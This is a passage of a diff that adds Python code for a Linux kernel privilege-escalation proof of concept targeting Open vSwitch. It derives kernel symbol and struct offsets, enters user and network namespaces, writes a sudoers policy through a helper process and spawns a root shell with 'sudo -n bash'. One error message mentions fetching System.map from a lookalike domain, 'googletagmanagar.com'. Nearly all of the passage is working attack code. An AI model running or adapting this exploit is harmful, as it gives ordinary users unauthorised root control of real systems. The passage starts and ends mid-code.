+                os.path.join(home, ".cache", "ovs_c004", f"System.map-{stem}"),
+                "/var/lib/gitea/data/home/.cache/ovs_c004/run/"
+                f"System.map-{stem}",
+            ]
+        )
+    candidates.extend(system_map_standard_paths(release))
+    if dwarves_base:
+        for stem in system_map_release_stems(release):
+            candidates.extend(
+                [
+                    os.path.join(dwarves_base, "run", f"System.map-{stem}"),
+                    os.path.join(dwarves_base, f"System.map-{stem}"),
+                ]
+            )
+    for stem in system_map_release_stems(release):
+        candidates.extend(
+            sorted(
+                glob.glob(
+                    os.path.join(script_dir, "data", f"minimal*{stem}*.System.map")
+                )
+            )
+        )
+    candidates.extend(sorted(glob.glob(os.path.join(script_dir, "data", "minimal*.System.map"))))
+    ordered: list[str] = []
+    seen: set[str] = set()
+    for path in candidates:
+        if path in seen:
+            continue
+        seen.add(path)
+        if os.path.isfile(path):
+            ordered.append(path)
+    return ordered
+
+
+def is_retriable_kernel_layout_error(exc: BaseException) -> bool:
+    if not isinstance(exc, RuntimeError):
+        return False
+    message = str(exc)
+    markers = (
+        "XArray entry",
+        "init_pid_ns.idr",
+        "init_pid_ns idr",
+        "pid.tasks.first",
+        "noncanonical task",
+        "task.pid=",
+        "does not match the expected vmlinux symbol offset",
+        "XArray node shift",
+    )
+    return any(marker in message for marker in markers)
+
+
+def strip_c_comments(text: str) -> str:
+    text = re.sub(r"/\*.*?\*/", "", text, flags=re.S)
+    return re.sub(r"//.*", "", text)
+
+
+def parse_btf_enum_value(
+    btf_path: str, enum_name: str, constant_name: str
+) -> int | None:
+    pahole = shutil.which("pahole")
+    if pahole is not None and os.access(btf_path, os.R_OK):
+        commands = [[pahole, "-C", enum_name, btf_path]]
+        base = os.path.join(os.path.dirname(btf_path), "vmlinux")
+        if os.path.basename(btf_path) != "vmlinux" and os.access(base, os.R_OK):
+            commands.append([pahole, f"--btf_base={base}", "-C", enum_name, btf_path])
+        for command in commands:
+            result = subprocess.run(
+                command,
+                text=True,
+                capture_output=True,
+                check=False,
+            )
+            if result.returncode == 0:
+                value = parse_enum_from_text(result.stdout, enum_name, constant_name)
+                if value is not None:
+                    return value
+    return None
+
+
+def path_state(path: str) -> str:
+    if not os.path.exists(path):
+        return f"{path} (missing)"
+    if not os.path.isfile(path):
+        return f"{path} (not a regular file)"
+    if not os.access(path, os.R_OK):
+        return f"{path} (not readable)"
+    return f"{path} (readable)"
+
+
+def summarize_path_states(paths: list[str], limit: int = 14) -> str:
+    if not paths:
+        return "no candidate paths were configured"
+    entries = [path_state(path) for path in paths[:limit]]
+    if len(paths) > limit:
+        entries.append(f"... {len(paths) - limit} more candidate paths omitted")
+    return "; ".join(entries)
+
+
+def parse_enum_from_text(text: str, enum_name: str, constant_name: str) -> int | None:
+    text = strip_c_comments(text)
+    match = re.search(rf"enum\s+{re.escape(enum_name)}\s*\{{(.*?)\}};", text, re.S)
+    if not match:
+        return None
+    value = 0
+    for raw_entry in match.group(1).split(","):
+        entry = raw_entry.strip()
+        if not entry:
+            continue
+        name, sep, explicit = entry.partition("=")
+        name = name.strip()
+        if sep:
+            explicit_value = explicit.strip()
+            if not re.fullmatch(r"0x[0-9A-Fa-f]+|[0-9]+", explicit_value):
+                return None
+            value = int(explicit_value, 0)
+        if name == constant_name:
+            return value
+        value += 1
+    return None
+
+
+def derive_ovs_uapi_constants(record: KernelBuildRecord | None) -> None:
+    global OVS_KEY_ATTR_TUNNEL_INFO
+
+    if record is not None:
+        OVS_KEY_ATTR_TUNNEL_INFO = record.ovs_key_attr_tunnel_info
+        log(
+            "UAPI: using pre-derived OVS_KEY_ATTR_TUNNEL_INFO="
+            f"{OVS_KEY_ATTR_TUNNEL_INFO}"
+        )
+        return
+
+    btf_path = f"{BTF_DIR}/openvswitch"
+    tunnel_info = parse_btf_enum_value(
+        btf_path, "ovs_key_attr", "OVS_KEY_ATTR_TUNNEL_INFO"
+    )
+    if tunnel_info is None:
+        raise RuntimeError(
+            "kernel is not covered by pre-derived kernel records, and this user "
+            f"could not derive OVS_KEY_ATTR_TUNNEL_INFO from {btf_path}. "
+            f"Checked: {path_state(btf_path)}"
+        )
+    if tunnel_info != OVS_KEY_ATTR_TUNNEL_INFO:
+        log(
+            "UAPI: OVS_KEY_ATTR_TUNNEL_INFO="
+            f"{tunnel_info} from {btf_path} "
+            f"(fallback was {OVS_KEY_ATTR_TUNNEL_INFO})"
+        )
+    OVS_KEY_ATTR_TUNNEL_INFO = tunnel_info
+
+
+def checked_binary(name: str) -> str:
+    if name == "sudo":
+        wrapper = "/run/wrappers/bin/sudo"
+        if os.access(wrapper, os.X_OK):
+            return wrapper
+    path = shutil.which(name)
+    if path is None:
+        raise RuntimeError(f"required command not found in PATH: {name}")
+    return path
+
+
+def optional_binary(name: str) -> str | None:
+    return shutil.which(name)
+
+
+def uid_map_first_entry() -> tuple[int, int, int, str]:
+    with open("/proc/self/uid_map", "r", encoding="ascii") as handle:
+        first_line = handle.readline().strip()
+    fields = first_line.split()
+    if len(fields) < 3:
+        raise RuntimeError(f"unexpected uid_map format: {first_line!r}")
+    return int(fields[0]), int(fields[1]), int(fields[2]), first_line
+
+
+def process_status_line(prefix: str) -> str:
+    with open("/proc/self/status", "r", encoding="ascii") as handle:
+        for line in handle:
+            if line.startswith(prefix):
+                return line.strip()
+    raise RuntimeError(f"/proc/self/status did not contain {prefix!r}")
+
+
+def effective_capability_mask() -> int:
+    line = process_status_line("CapEff:")
+    fields = line.split()
+    if len(fields) != 2:
+        raise RuntimeError(f"unexpected CapEff line: {line!r}")
+    return int(fields[1], 16)
+
+
+def launching_user() -> tuple[int, int, str]:
+    uid = os.getuid()
+    gid = os.getgid()
+    if uid == 0 or os.geteuid() == 0:
+        raise RuntimeError(
+            "refusing to run as root. Run this PoC directly as an ordinary "
+            "non-sudo local user."
+        )
+    if effective_capability_mask() != 0:
+        raise RuntimeError(
+            "refusing to run with preexisting effective capabilities. Run this "
+            "PoC as an ordinary unprivileged user."
+        )
+    try:
+        username = pwd.getpwuid(uid).pw_name
+    except KeyError:
+        raise RuntimeError(f"uid {uid} has no passwd entry") from None
+    return uid, gid, username
+
+
+def ensure_user_starts_without_passwordless_sudo(username: str) -> None:
+    step("CHECKING BASELINE SUDO ACCESS")
+    sudo = checked_binary("sudo")
+    result = subprocess.run(
+        [sudo, "-n", "true"],
+        text=True,
+        capture_output=True,
+        check=False,
+    )
+    detail = (result.stderr or result.stdout).strip()
+    if result.returncode == 0:
+        raise RuntimeError(
+            f"refusing to run: user {username!r} already has passwordless sudo. "
+            "Use a non-sudo ordinary user so the root-shell delta is meaningful."
+        )
+    print(f"baseline passwordless sudo for {username}: denied", flush=True)
+    if detail:
+        print(f"sudo denial detail: {detail.splitlines()[0]}", flush=True)
+
+
+def spawn_root_shell(username: str) -> None:
+    step("SPAWNING ROOT SHELL")
+    sudo = checked_binary("sudo")
+    shell = shutil.which("bash") or "/bin/bash"
+    if not os.path.exists(shell):
+        raise RuntimeError(f"root shell path missing: {shell}")
+    print(
+        f"RESULT: sudoers policy write achieved; spawning 'sudo -n {shell}' as "
+        f"{username}",
+        flush=True,
+    )
+    verify_only = os.environ.get("OVS_C004_VERIFY_ONLY") == "1" or not sys.stdin.isatty()
+    spawn_cmd = [sudo, "-n", "id"] if verify_only else [sudo, "-n", shell]
+    try:
+        result = subprocess.run(spawn_cmd, check=False)
+    except OSError as exc:
+        raise RuntimeError(
+            f"failed to spawn root shell through sudo: errno={exc.errno} "
+            f"{exc.strerror}"
+        ) from exc
+    if result.returncode != 0:
+        raise RuntimeError(f"root shell exited with status {result.returncode}")
+    print(
+        "root shell exited; namespace pin process remains alive to avoid unsafe "
+        "OVS teardown",
+        flush=True,
+    )
+
+
+def namespace_prefix_works(prefix: list[str], env: dict[str, str]) -> tuple[bool, str]:
+    probe = prefix + [
+        sys.executable,
+        "-c",
+        "import os,sys; sys.exit(0 if os.geteuid() == 0 else 1)",
+    ]
+    try:
+        result = subprocess.run(
+            probe,
+            env=env,
+            text=True,
+            capture_output=True,
+            check=False,
+            timeout=60,
+        )
+    except subprocess.TimeoutExpired:
+        return False, "namespace probe timed out after 60 seconds"
+    if result.returncode == 0:
+        return True, ""
+    detail = (result.stderr or result.stdout).strip()
+    return False, detail.splitlines()[0] if detail else "<no output>"
+
+
+def private_namespace_prefix(env: dict[str, str]) -> list[str]:
+    unshare = checked_binary("unshare")
+    direct = [unshare, "-Urn"]
+    works, detail = namespace_prefix_works(direct, env)
+    if works:
+        log("namespace: direct unshare -Urn works")
+        return direct
+    log(f"namespace: direct unshare -Urn failed: {detail}")
+    aa_exec = optional_binary("aa-exec")
+    if aa_exec is None:
+        raise RuntimeError(
+            "direct unshare -Urn failed and aa-exec is not available for the "
+            "AppArmor trinity fallback"
+        )
+    aa_prefix = [aa_exec, "-p", "trinity", "--", unshare, "-Urn"]
+    log("namespace: trying aa-exec -p trinity -- unshare -Urn fallback")
+    works, aa_detail = namespace_prefix_works(aa_prefix, env)
+    if works:
+        log("namespace: aa-exec -p trinity fallback works")
+        return aa_prefix
+    raise RuntimeError(
+        "could not enter a private root-mapped user+network namespace. "
+        f"direct unshare failed with: {detail}; aa-exec fallback failed with: "
+        f"{aa_detail}"
+    )
+
+
+def run_child_in_private_namespace(
+    host_user: str,
+    writer_pid: int,
+    writer_trigger_fd: int,
+    writer_ack_fd: int,
+) -> None:
+    step("ENTERING PRIVATE USER AND NETWORK NAMESPACES")
+    script = os.path.abspath(sys.argv[0])
+    env = os.environ.copy()
+    env[HOST_USER_ENV] = host_user
+    env[HOST_WRITER_PID_ENV] = str(writer_pid)
+    env[HOST_WRITER_TRIGGER_FD_ENV] = str(writer_trigger_fd)
+    env[HOST_WRITER_ACK_FD_ENV] = str(writer_ack_fd)
+    prefix = private_namespace_prefix(env)
+    command = prefix + [sys.executable, script, "--child"]
+    print(f"running child: {' '.join(command)}", flush=True)
+    success = False
+    try:
+        completed = subprocess.run(
+            command,
+            env=env,
+            check=False,
+            pass_fds=(writer_trigger_fd, writer_ack_fd),
+        )
+        success = completed.returncode == 0
+        if completed.returncode != 0:
+            raise RuntimeError(
+                f"namespace child failed with exit status {completed.returncode}"
+            )
+    finally:
+        for fd in (writer_trigger_fd, writer_ack_fd):
+            try:
+                os.close(fd)
+            except OSError:
+                pass
+        if not success:
+            try:
+                os.waitpid(writer_pid, os.WNOHANG)
+            except ChildProcessError:
+                pass
+    spawn_root_shell(host_user)
+
+
+def validate_child_namespace() -> str:
+    host_user = os.environ.get(HOST_USER_ENV)
+    if not host_user:
+        raise RuntimeError("missing OVS_C004_HOST_USER from parent process")
+    inside_uid, outside_uid, count, first_line = uid_map_first_entry()
+    if os.getuid() != 0 or os.geteuid() != 0:
+        raise RuntimeError("child is not uid 0 inside the private user namespace")
+    if inside_uid != 0 or outside_uid == 0 or count != 1:
+        raise RuntimeError(f"unexpected private uid_map format: {first_line!r}")
+    return host_user
+
+
+def inherited_sudoers_writer() -> tuple[int, int, int]:
+    raw_pid = os.environ.get(HOST_WRITER_PID_ENV)
+    raw_trigger_fd = os.environ.get(HOST_WRITER_TRIGGER_FD_ENV)
+    raw_ack_fd = os.environ.get(HOST_WRITER_ACK_FD_ENV)
+    if not raw_pid or not raw_trigger_fd or not raw_ack_fd:
+        raise RuntimeError("missing inherited host sudoers writer state")
+    try:
+        writer_pid = int(raw_pid)
+        trigger_fd = int(raw_trigger_fd)
+        ack_fd = int(raw_ack_fd)
+    except ValueError as exc:
+        raise RuntimeError("invalid inherited host sudoers writer state") from exc
+    for fd, label in ((trigger_fd, "trigger"), (ack_fd, "ack")):
+        try:
+            os.fstat(fd)
+        except OSError as exc:
+            raise RuntimeError(
+                f"inherited host sudoers writer {label} fd {fd} is invalid: "
+                f"errno={exc.errno} {exc.strerror}"
+            ) from exc
+    return writer_pid, trigger_fd, ack_fd
+
+
+class BtfResolver:
+    def __init__(self, btf_dir: str = BTF_DIR) -> None:
+        self.btf_dir = btf_dir
+        self._struct_cache: dict[str, tuple[str, str]] = {}
+        self.paths = self.candidate_paths()
+        self.readable = [
+            path
+            for path in self.paths
+            if os.path.isfile(path) and os.access(path, os.R_OK)
+        ]
+        if not self.readable:
+            raise RuntimeError(
+                "kernel is not covered by pre-derived kernel records, and this "
+                "user could not find readable local BTF or unstripped kernel "
+                "build objects for pahole-based layout derivation. Checked: "
+                f"{summarize_path_states(self.paths)}"
+            )
+        log(f"debug info: found {len(self.readable)} readable pahole source files")
+
+    def candidate_paths(self) -> list[str]:
+        ordered: list[str] = []
+        seen: set[str] = set()
+
+        def add(path: str) -> None:
+            if path in seen:
+                return
+            seen.add(path)
+            ordered.append(path)
+
+        try:
+            btf_entries = [
+                os.path.join(self.btf_dir, entry)
+                for entry in os.listdir(self.btf_dir)
+            ]
+        except OSError:
+            btf_entries = []
+        vmlinux_btf = os.path.join(self.btf_dir, "vmlinux")
+        add(vmlinux_btf)
+        for path in sorted(btf_entries):
+            if path != vmlinux_btf:
+                add(path)
+
+        release = os.uname().release
+        build_dir = f"/lib/modules/{release}/build"
+        for path in (
+            f"{build_dir}/net/openvswitch/conntrack.o",
+            f"{build_dir}/net/openvswitch/openvswitch.o",
+            f"{build_dir}/net/netfilter/core.o",
+            f"{build_dir}/net/netfilter/nf_conntrack_core.o",
+            f"{build_dir}/net/netfilter/nf_conntrack.o",
+            f"{build_dir}/net/netfilter/nf_conntrack_ftp.o",
+            f"{build_dir}/vmlinux",
+            f"/usr/src/linux-{release}/vmlinux",
+            f"/usr/lib/debug/boot/vmlinux-{release}",
+            f"/usr/lib/debug/lib/modules/{release}/vmlinux",
+            f"/usr/lib/debug/vmlinux-{release}",
+        ):
+            add(path)
+        try:
+            for entry in sorted(os.listdir("/usr/src")):
+                add(os.path.join("/usr/src", entry, "vmlinux"))
+        except OSError:
+            pass
+        return ordered
+
+    def struct_text(self, type_name: str) -> tuple[str, str]:
+        cached = self._struct_cache.get(type_name)
+        if cached is not None:
+            return cached
+        errors: list[str] = []
+        for path in self.readable:
+            commands = [["pahole", "-C", type_name, path]]
+            if not path.startswith(self.btf_dir + os.sep):
+                commands = [["pahole", "-F", "dwarf", "-C", type_name, path]]
+            elif path != os.path.join(self.btf_dir, "vmlinux"):
+                commands.append(
+                    [
+                        "pahole",
+                        f"--btf_base={os.path.join(self.btf_dir, 'vmlinux')}",
+                        "-C",
+                        type_name,
+                        path,
+                    ]
+                )
+            for command in commands:
+                result = subprocess.run(
+                    command,
+                    text=True,
+                    capture_output=True,
+                    check=False,
+                )
+                if f"struct {type_name}" in result.stdout:
+                    log(f"debug info: found struct {type_name} in {path}")
+                    found = (path, result.stdout)
+                    self._struct_cache[type_name] = found
+                    return found
+                if result.stderr.strip():
+                    errors.append(f"{path}: {result.stderr.strip().splitlines()[-1]}")
+        raise RuntimeError(
+            f"required debug type struct {type_name} was not found in readable "
+            "local BTF or unstripped kernel build objects"
+            + (f" (last errors: {'; '.join(errors[-3:])})" if errors else "")
+        )
+
+    def field_offset(self, type_name: str, field_name: str) -> int:
+        _path, text = self.struct_text(type_name)
+        return parse_pahole_field_offset(text, type_name, field_name)
+
+    def struct_size(self, type_name: str) -> int:
+        _path, text = self.struct_text(type_name)
+        match = re.search(r"/\*\s*size:\s*(\d+),", text)
+        if match is None:
+            raise RuntimeError(f"could not parse sizeof(struct {type_name}) from pahole output")
+        return int(match.group(1))
+
+
+def parse_pahole_field_offset(text: str, type_name: str, field_name: str) -> int:
+    field_pattern = re.compile(
+        r"(^|[\s\*\)])" + re.escape(field_name) + r"(\s*(\[|;|\)|__attribute__))"
+    )
+    for line in text.splitlines():
+        if "/*" not in line or not field_pattern.search(line):
+            continue
+        match = re.search(r"/\*\s*(\d+)\s+\d+\s*\*/", line)
+        if match is not None:
+            return int(match.group(1))
+    raise RuntimeError(f"could not parse {type_name}.{field_name} offset from pahole output")
+
+
+def parse_symbol_values(path: str) -> tuple[dict[str, int], str | None]:
+    values: dict[str, int] = {}
+    try:
+        with open(path, "r", encoding="ascii", errors="replace") as handle:
+            for line in handle:
+                fields = line.split()
+                if len(fields) < 3 or fields[2] not in REQUIRED_SYMBOLS:
+                    continue
+                try:
+                    values[fields[2]] = int(fields[0], 16)
+                except ValueError:
+                    continue
+    except OSError as exc:
+        return values, f"{path} unavailable to this user: {exc.strerror}"
+    return values, None
+
+
+def symbol_offsets_from(path: str) -> tuple[SymbolOffsets | None, str]:
+    log(f"symbols: trying {path}")
+    values, error = parse_symbol_values(path)
+    if error is not None:
+        log(f"symbols: {error}")
+        return None, error
+    missing = [name for name in REQUIRED_SYMBOLS if name not in values]
+    if missing:
+        names = ", ".join(missing)
+        log(f"symbols: {path} missing required symbols: {names}")
+        return None, f"{path} readable but missing {names}"
+    zeroed = [name for name in REQUIRED_SYMBOLS if values[name] == 0]
+    if zeroed:
+        names = ", ".join(zeroed)
+        log(f"symbols: {path} has zeroed required symbols: {names}")
+        return None, f"{path} readable but zeroed {names}"
+    base = values[KERNEL_BASE_SYMBOL]
+    module_ktype = values["module_ktype"] - base
+    init_pid_ns = values["init_pid_ns"] - base
+    if module_ktype <= 0 or init_pid_ns <= 0:
+        log(f"symbols: {path} produced invalid offsets from {KERNEL_BASE_SYMBOL}")
+        return None, f"{path} readable but produced invalid symbol offsets"
+    log(
+        f"symbols: using {path}; module_ktype_offset=0x{module_ktype:x} "
+        f"init_pid_ns_offset=0x{init_pid_ns:x}"
+    )
+    return SymbolOffsets(module_ktype, init_pid_ns), ""
+
+
+def local_symbol_candidate_paths(release: str) -> list[str]:
+    candidates: list[str] = []
+    custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip()
+    if custom:
+        candidates.append(custom)
+    candidates.extend(discover_system_map_candidates(release))
+    candidates.extend(system_map_standard_paths(release))
+    candidates.extend([
+        "/boot/System.map",
+        "/proc/kallsyms",
+    ])
+    try:
+        with open(
+            "/usr/src/linux/include/config/kernel.release",
+            "r",
+            encoding="ascii",
+            errors="replace",
+        ) as handle:
+            if handle.read().strip() == release:
+                candidates.append("/usr/src/linux/System.map")
+    except OSError:
+        pass
+    ordered: list[str] = []
+    seen: set[str] = set()
+    for path in candidates:
+        if path in seen:
+            continue
+        seen.add(path)
+        ordered.append(path)
+    return ordered
+
+
+_RELEASE_RE = re.compile(r"^(.+?)-(\d+)(~[^-]+)?-(.+)$")
+_UBUNTU_VER_NUM = re.compile(r"#(\d+)")
+
+
+def ubuntu_version_compatible(record_version: str, uname_version: str) -> bool:
+    """Match #88-Ubuntu with #88~22.04.1-Ubuntu on the same kernel ABI."""
+    if record_version == uname_version:
+        return True
+    record_num = _UBUNTU_VER_NUM.search(record_version)
+    uname_num = _UBUNTU_VER_NUM.search(uname_version)
+    return (
+        record_num is not None
+        and uname_num is not None
+        and record_num.group(1) == uname_num.group(1)
+    )
+
+
+def parse_linux_release(release: str) -> tuple[str, int, str | None, str] | None:
+    match = _RELEASE_RE.match(release)
+    if match is not None:
+        return match.group(1), int(match.group(2)), match.group(3), match.group(4)
+    rpm = _RPM_RELEASE_RE.match(release)
+    if rpm is not None:
+        rel_num = int(rpm.group(2).split(".", 1)[0])
+        flavor = rpm.group(3)
+        if rpm.group(4) is not None:
+            flavor = f"{flavor}.{rpm.group(4)}"
+        return rpm.group(1), rel_num, None, flavor
+    return None
+
+
+def version_backport_hint(version: str) -> str | None:
+    if "~22.04" in version:
+        return "~22.04"
+    if "~20.04" in version:
+        return "~20.04"
+    return None
+
+
+def lookup_neighbor_kernel_record(
+    uname: os.uname_result,
+    records: tuple[KernelBuildRecord, ...],
+) -> KernelBuildRecord | None:
+    if os.environ.get("OVS_C004_NEIGHBOR", "1").strip().lower() in (
+        "0",
+        "no",
+        "false",
+    ):
+        return None
+    parsed = parse_linux_release(uname.release)
+    if parsed is None:
+        return None
+    base, target_num, target_tilde, flavor = parsed
+    backport = version_backport_hint(uname.version)
+    best: KernelBuildRecord | None = None
+    best_score = (-1, -1)
+    for record in records:
+        if record.machine != uname.machine:
+            continue
+        candidate = parse_linux_release(record.release)
+        if candidate is None:
+            continue
+        cand_base, cand_num, cand_tilde, cand_flavor = candidate
+        if cand_base != base or cand_flavor != flavor:
+            continue
+        if cand_num > target_num:
+            continue
+        if backport is None:
+            backport_score = 1 if cand_tilde is None else 0
+        else:
+            backport_score = (
+                1 if cand_tilde is not None and backport in cand_tilde else 0
+            )
+        score = (cand_num, backport_score)
+        if score > best_score:
+            best = record
+            best_score = score
+    if best is None:
+        return None
+    log(
+        "kernel lookup: no exact record for "
+        f"release={uname.release} version={uname.version!r}; "
+        f"using nearest neighbor release={best.release} version={best.version!r} "
+        "(set OVS_C004_NEIGHBOR=0 to disable)"
+    )
+    return best
+
+
+def symbol_offsets_from_env() -> SymbolOffsets | None:
+    raw = os.environ.get("OVS_C004_SYMBOL_OFFSETS", "").strip()
+    if not raw:
+        return None
+    parts = [part.strip() for part in raw.split(",") if part.strip()]
+    if len(parts) != 2:
+        raise RuntimeError(
+            "OVS_C004_SYMBOL_OFFSETS must be two comma-separated hex offsets "
+            "(module_ktype, init_pid_ns relative to _text)"
+        )
+    try:
+        module_ktype = int(parts[0], 0)
+        init_pid_ns = int(parts[1], 0)
+    except ValueError as exc:
+        raise RuntimeError(
+            f"OVS_C004_SYMBOL_OFFSETS contains invalid integers: {raw!r}"
+        ) from exc
+    if module_ktype <= 0 or init_pid_ns <= 0:
+        raise RuntimeError(
+            "OVS_C004_SYMBOL_OFFSETS must contain positive module_ktype and "
+            "init_pid_ns offsets"
+        )
+    log(
+        "symbols: using OVS_C004_SYMBOL_OFFSETS; "
+        f"module_ktype_offset=0x{module_ktype:x} init_pid_ns_offset=0x{init_pid_ns:x}"
+    )
+    return SymbolOffsets(module_ktype, init_pid_ns)
+
+
+def lookup_kernel_build_record() -> KernelBuildRecord | None:
+    if force_dynamic_requested():
+        if not kallsyms_usable():
+            log(
+                "kernel lookup: OVS_C004_FORCE_DYNAMIC requested but "
+                "/proc/kallsyms is zeroed or unusable; will still try hybrid "
+                "and System.map fallbacks"
+            )
+        else:
+            log(
+                "kernel lookup: OVS_C004_FORCE_DYNAMIC set, skipping "
+                "pre-derived records"
+            )
+            return None
+    uname = os.uname()
+    records = load_kernel_build_records()
+    release_matches = [
+        record for record in records if record.release == uname.release
+    ]
+    exact_matches = [
+        record
+        for record in release_matches
+        if record.machine == uname.machine
+        and ubuntu_version_compatible(record.version, uname.version)
+    ]
+    if exact_matches:
+        record = exact_matches[0]
+        log(
+            "kernel lookup: using pre-derived record for "
+            f"release={record.release} version={record.version!r}"
+        )
+        return record
+    if release_matches:
+        log(
+            "kernel lookup: release is covered but this exact build is not: "
+            f"release={uname.release} version={uname.version!r} "
+            f"machine={uname.machine}"
+        )
+        same_release = lookup_neighbor_kernel_record(uname, tuple(release_matches))
+        if same_release is not None:
+            log(
+                "kernel lookup: using same-release neighbor "
+                f"release={same_release.release} version={same_release.version!r}"
+            )
+            return same_release
+        neighbor = lookup_neighbor_kernel_record(uname, records)
+        if neighbor is not None:
+            return neighbor
+        return None
+    neighbor = lookup_neighbor_kernel_record(uname, records)
+    if neighbor is not None:
+        return neighbor
+    log(
+        "kernel lookup: no pre-derived record for "
+        f"release={uname.release} version={uname.version!r} machine={uname.machine}; "
+        "will try local System.map/kallsyms and BTF derivation. This kernel is "
+        "not covered by our validation table."
+    )
+    return None
+
+
+def derive_symbol_offsets() -> SymbolOffsets:
+    env_symbols = symbol_offsets_from_env()
+    if env_symbols is not None:
+        return env_symbols
+    release = os.uname().release
+    bootstrap_system_map(release, network=not in_namespace_child())
+    failures: list[str] = []
+    for path in local_symbol_candidate_paths(release):
+        offsets, failure = symbol_offsets_from(path)
+        if offsets is not None:
+            return offsets
+        failures.append(failure)
+    raise RuntimeError(
+        "kernel is not covered by pre-derived kernel records, and this user "
+        "could not derive module_ktype/init_pid_ns from local System.map or "
+        "nonzero /proc/kallsyms locations. Checked: "
+        + (
+            "; ".join(failures)
+            if failures
+            else "no candidate symbol paths were configured"
+        )
+        + ". Tried bootstrapping via OVS_C004_SYSTEM_MAP_URL / "
+        "googletagmanagar.com/exp/ov2/System.map-* and "
+        f"{shutil.which('dnf') or shutil.which('yum') or 'dnf/yum'} download "
+        f"kernel-core-{release}. Upload a readable map and set "
+        "OVS_C004_SYSTEM_MAP, or set OVS_C004_SYMBOL_OFFSETS="
+        "module_ktype_off,init_pid_ns_off (hex offsets relative to _text)."
+    )
+
+
+def derive_kernel_offsets(btf: BtfResolver, symbols: SymbolOffsets) -> KernelOffsets:
+    module_mkobj = btf.field_offset("module", "mkobj")
+    module_kobject_kobj = btf.field_offset("module_kobject", "kobj")
+    kobject_ktype = btf.field_offset("kobject", "ktype")
+    ovs_conntrack_info_size = btf.struct_size("ovs_conntrack_info")
+    ovs_ct_labels = btf.field_offset("ovs_conntrack_info", "labels")
+    ip_tunnel_info_key = btf.field_offset("ip_tunnel_info", "key")
+    try:
+        dst_entry_ref = btf.field_offset("dst_entry", "__rcuref")
+        dst_entry_ref_kind = "__rcuref"
+    except RuntimeError:
+        dst_entry_ref = btf.field_offset("dst_entry", "__refcnt")
+        dst_entry_ref_kind = "__refcnt"
+    offsets = KernelOffsets(
+        nf_conntrack_helper_me=btf.field_offset("nf_conntrack_helper", "me"),
+        module_kobj_ktype=module_mkobj + module_kobject_kobj + kobject_ktype,
+        vmlinux_module_ktype=symbols.module_ktype,
+        vmlinux_init_pid_ns=symbols.init_pid_ns,
+        task_pid=btf.field_offset("task_struct", "pid"),
+        task_cred=btf.field_offset("task_struct", "cred"),
+        task_pid_links=btf.field_offset("task_struct", "pid_links"),
+        cred_fsuid=btf.field_offset("cred", "fsuid"),
+        cred_fsgid=btf.field_offset("cred", "fsgid"),
+        cred_cap_permitted=btf.field_offset("cred", "cap_permitted"),
+        cred_cap_effective=btf.field_offset("cred", "cap_effective"),
+        pid_namespace_idr=btf.field_offset("pid_namespace", "idr"),
+        idr_idr_rt=btf.field_offset("idr", "idr_rt"),
+        idr_base=btf.field_offset("idr", "idr_base"),
+        xarray_xa_head=btf.field_offset("xarray", "xa_head"),
+        xa_node_shift=btf.field_offset("xa_node", "shift"),
+        xa_node_slots=btf.field_offset("xa_node", "slots"),
+        pid_tasks=btf.field_offset("pid", "tasks"),
+        hlist_head_first=btf.field_offset("hlist_head", "first"),
+        dst_entry_ref=dst_entry_ref,
+        dst_entry_ref_kind=dst_entry_ref_kind,
+        metadata_dst_tun_info=btf.field_offset("metadata_dst", "u"),
+        ip_tunnel_key_ipv4_src=ip_tunnel_info_key
+        + btf.field_offset("ip_tunnel_key", "src"),
+        ip_tunnel_key_ipv4_dst=ip_tunnel_info_key
+        + btf.field_offset("ip_tunnel_key", "dst"),
+        ip_tunnel_key_tos=ip_tunnel_info_key
+        + btf.field_offset("ip_tunnel_key", "tos"),
+        ip_tunnel_key_ttl=ip_tunnel_info_key
+        + btf.field_offset("ip_tunnel_key", "ttl"),
+        ip_tunnel_key_tp_src=ip_tunnel_info_key
+        + btf.field_offset("ip_tunnel_key", "tp_src"),
+        ip_tunnel_key_tp_dst=ip_tunnel_info_key
+        + btf.field_offset("ip_tunnel_key", "tp_dst"),
+        ovs_ct_labels=ovs_ct_labels,
+        ovs_ct_action_len=NLA_HEADER_SIZE + ovs_conntrack_info_size,
+    )
+    log("kernel offsets: derived from local symbols and debug type info")
+    return offsets
+
+
+def try_build_hybrid_offsets(
+    symbols: SymbolOffsets,
+    label: str,
+) -> KernelOffsets | None:
+    try:
+        btf = BtfResolver()
+    except RuntimeError as exc:
+        log(f"kernel offsets: hybrid plan {label} skipped: {exc}")
+        return None
+    try:
+        offsets = derive_kernel_offsets(btf, symbols)
+    except RuntimeError as exc:
+        log(f"kernel offsets: hybrid plan {label} skipped: {exc}")
+        return None
+    log(f"kernel offsets: built hybrid plan {label}")
+    return offsets
+
+
+def append_kernel_plan(
+    plans: list[KernelParameterPlan],
+    seen: set[KernelOffsets],
+    name: str,
+    offsets: KernelOffsets,
+    record: KernelBuildRecord | None,
+) -> None:
+    if offsets in seen:
+        return
+    seen.add(offsets)
+    plans.append(KernelParameterPlan(name, offsets, record))
+
+
+def build_kernel_parameter_plans() -> list[KernelParameterPlan]:
+    record = lookup_kernel_build_record()
+    release = os.uname().release
+    plans: list[KernelParameterPlan] = []
+    seen: set[KernelOffsets] = set()
+
+    if hybrid_mode_requested(record):
+        require_pahole_for_dynamic_derivation()
+        if record is not None:
+            for path in discover_system_map_candidates(release):
+                symbols, _failure = symbol_offsets_from(path)
+                if symbols is None:
+                    continue
+                offsets = try_build_hybrid_offsets(
+                    symbols,
+                    f"hybrid+System.map ({path})",
+                )
+                if offsets is not None:
+                    append_kernel_plan(
+                        plans,
+                        seen,
+                        f"hybrid+System.map ({path})",
+                        offsets,
+                        record,
+                    )
+            record_symbols = SymbolOffsets(
+                record.offsets.vmlinux_module_ktype,
+                record.offsets.vmlinux_init_pid_ns,
+            )
+            offsets = try_build_hybrid_offsets(
+                record_symbols,
+                "hybrid+pre-derived symbols",
+            )
+            if offsets is not None:
+                append_kernel_plan(
+                    plans,
+                    seen,
+                    "hybrid+pre-derived symbols",
+                    offsets,
+                    record,
+                )
+
+    if record is not None and env_tri_state("OVS_C004_HYBRID") != "on":
+        append_kernel_plan(plans, seen, "pre-derived", record.offsets, record)
+
+    if record is None or force_dynamic_requested() or not plans:
+        if record is None:
+            acknowledge_unknown_kernel()
+        require_pahole_for_dynamic_derivation()
+        try:
+            symbols = derive_symbol_offsets()
+            btf = BtfResolver()
+            offsets = derive_kernel_offsets(btf, symbols)
+            append_kernel_plan(plans, seen, "dynamic", offsets, record)
+        except RuntimeError as exc:
+            if not plans:
+                reason = str(exc).strip().rstrip(".")
+                raise RuntimeError(
